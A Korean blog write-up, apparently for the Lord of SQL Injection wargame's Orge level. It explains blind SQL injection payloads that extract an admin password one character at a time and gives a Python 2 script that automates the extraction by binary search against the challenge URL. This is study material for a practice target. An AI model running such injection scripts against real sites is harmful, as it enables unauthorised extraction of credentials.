Lord of SQL Injection Level 7 Orge 풀이입니다.
문제는 이렇게 생겼습니다.
보시면 두번째 if문에서 $result['pw'] == $_GET['pw']로 확인을 다시 하는데, 요녀석 때문에 여태까지 다른 방식처럼 인증만 우회하는 방식으로는 풀리지가 않습니다.
즉 admin의 패스워드를 알아내야 한다는 것이죠.
이때 사용되는 기법이 바로 Blind SQL Injection입니다.
장님이 코끼리 만지듯이 한다(?) 라는 식으로 Blind SQL Injection에 대해서 많이들 설명하는데요,
간단하게 설명하자면, True / False의 결과만 가지고 조합해서 정보를 알아내는 방식입니다.
예컨대, pw값에 다음 값을 넣는다고 생각해보죠
'||id='admin'&&length(pw)>1#
그러면 전체 쿼리는 다음처럼 됩니다.
select id from prob_orge where id='guest' and pw=''||id='admin'&&length(pw)>1#'
여기서 만약 id가 admin인 녀석의 pw의 길이가 1 초과라면 admin column이 리턴되면서
<h2>Hello admin</h2>라는 문구를 보게 되죠.
이런식으로 숫자를 바꾸어가면서 admin의 pw길이를 유추할 수 있습니다.
대충 범위를 1 ~ 100정도 잡고 바이너리 서치를 하면 더 빠르게 찾을 수 있죠.
비슷한 방식으로, 길이를 알아냈으면 admin의 pw의 각각의 글자가 어떤 값을 찾는지 찾아낼 수 있습니다.
다음 값을 넣는다고 가정해봅시다.
'||id='admin'&&ascii(substring(pw, 1,1))>1#
그러면 전체 쿼리는 다음과 같게 됩니다.
select id from prob_orge where id='guest' and pw=''||id='admin'&&ascii(substring(pw, 3,1))>70#'
세번째 글자의 아스키값이 70보다 크면 True가 되어서 Hello admin 문구를 볼 수 있죠.
이런 방식으로 각각의 글자들을 다 알아내서 admin의 패스워드를 알아낼 수 있습니다.
이걸 다 손으로 하면 매우 귀찮으므로, 파이썬2 스크립트를 작성해서 풀이할 수 있습니다.
import urllib2
url = "https://los.eagle-jump.org/orge_40d2b61f694f72448be9c97d1cea2480.php"
cookie = "PHPSESSID=put_your_login_session_token_here"
ua = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.131 Safari/537.36"
truePhrase = "<h2>Hello admin</h2>"
def query(payload):
uurl = url + "?pw=" + urllib2.quote(payload)
req = urllib2.Request(uurl)
req.add_header('cookie', cookie)
req.add_header("User-Agent", ua)
res = urllib2.urlopen(req)
content = res.read(500)
return truePhrase in content
# '||id='admin'&&length(pw)>1#
# '||id='admin'&&ascii(substring(pw, 1,1))>1#
def find_length():
print "Finding length of the password..."
left = 1
right = 100
while left < right:
mid = (left+right)//2
if query("'||id='admin'&&length(pw)>" + str(mid) +"#"):
left = mid+1
else:
right = mid
return right
def find_password(pos):
print "Finding " + str(pos) + "th password..."
left = 1
right = 200
while left < right:
print (str(left) + "," + str(right))
mid = (left+right)//2
if query("'||id='admin'&&ascii(substr(pw," + str(pos) + ",1))>" + str(mid) + "#"):
left = mid+1
else:
right = mid
print (right)
return chr(right)
length = find_length()
password = ""
for i in range(1, length+1):
password += find_password(i)
print "gotcha!!!!"
print password
'해킹 & 보안' 카테고리의 다른 글
[HackCTF] Web - Hidden 풀이 (0) | 2019.07.16 |
---|---|
버프슈트 설정하기 (Burp suite configuration) (0) | 2019.06.18 |
pwnable.kr 07-input NULL 바이트 인자 관련 (0) | 2019.01.17 |
[번역] 정보 보안 직종에 종사하고 싶은 사람에게 by Ivan Fratric (2) (0) | 2018.02.23 |
[번역] 정보 보안 직종에 종사하고 싶은 사람에게 by Ivan Fratric (1) (0) | 2018.02.22 |